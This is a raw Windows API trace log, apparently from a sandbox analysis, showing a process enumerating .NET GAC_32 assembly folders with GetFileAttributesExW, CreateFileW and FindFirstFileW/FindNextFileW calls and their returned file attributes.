	[0088.544] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fff48 | out: lpFileInformation=0x125fff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174c0)) returned 1
	[0088.544] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\isymwrapper"), fInfoLevelId=0x0, lpFileInformation=0x125fff98 | out: lpFileInformation=0x125fff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91660fe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91660fe0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.545] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\isymwrapper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.545] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91660fe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91660fe0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.545] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91660fe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91660fe0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.545] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.545] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.545] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.545] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\isymwrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261c058 | out: lpFileInformation=0x1261c058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.545] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\isymwrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.545] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.545] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.545] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x114b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISymWrapper.dll", cAlternateFileName="ISYMWR~1.DLL")) returned 1
	[0088.545] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.546] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\ISymWrapper.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\isymwrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\isymwrapper.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261c0f8 | out: lpFileInformation=0x1261c0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x114b0)) returned 1
	[0088.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.transactions.bridge.dtc"), fInfoLevelId=0x0, lpFileInformation=0x1261c148 | out: lpFileInformation=0x1261c148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92730b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92730b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92730b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.546] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.transactions.bridge.dtc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.546] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92730b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92730b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92730b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.546] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92730b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92730b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92730b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.546] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9270a9e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd8c060, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.546] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.546] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.transactions.bridge.dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261c1e8 | out: lpFileInformation=0x1261c1e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9270a9e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd8c060, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.547] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.transactions.bridge.dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.547] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9270a9e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd8c060, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.547] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9270a9e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd8c060, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.547] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1fd08, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.547] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.547] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.547] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Transactions.Bridge.Dtc.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.transactions.bridge.dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.transactions.bridge.dtc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261c288 | out: lpFileInformation=0x1261c288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd8c060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1fd08)) returned 1
	[0088.547] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.visualbasic.activities.compiler"), fInfoLevelId=0x0, lpFileInformation=0x1261c2d8 | out: lpFileInformation=0x1261c2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9277ce00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9277ce00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9277ce00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.547] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.visualbasic.activities.compiler"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.547] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9277ce00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9277ce00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9277ce00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.548] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9277ce00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9277ce00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9277ce00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.548] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92756ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56de2c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.548] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.548] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.548] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.visualbasic.activities.compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261c378 | out: lpFileInformation=0x1261c378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92756ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56de2c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.548] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.visualbasic.activities.compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.548] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92756ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56de2c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.548] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92756ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56de2c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.548] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Activities.Compiler.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.548] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.548] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.548] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualBasic.Activities.Compiler.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\microsoft.visualbasic.activities.compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.visualbasic.activities.compiler.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261c418 | out: lpFileInformation=0x1261c418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56de2c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b28)) returned 1
	[0088.548] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\presentationcore"), fInfoLevelId=0x0, lpFileInformation=0x1261c468 | out: lpFileInformation=0x1261c468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92de2920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92de2920, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92de2920, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.549] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\presentationcore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.549] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92de2920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92de2920, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92de2920, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.549] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92de2920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92de2920, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92de2920, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
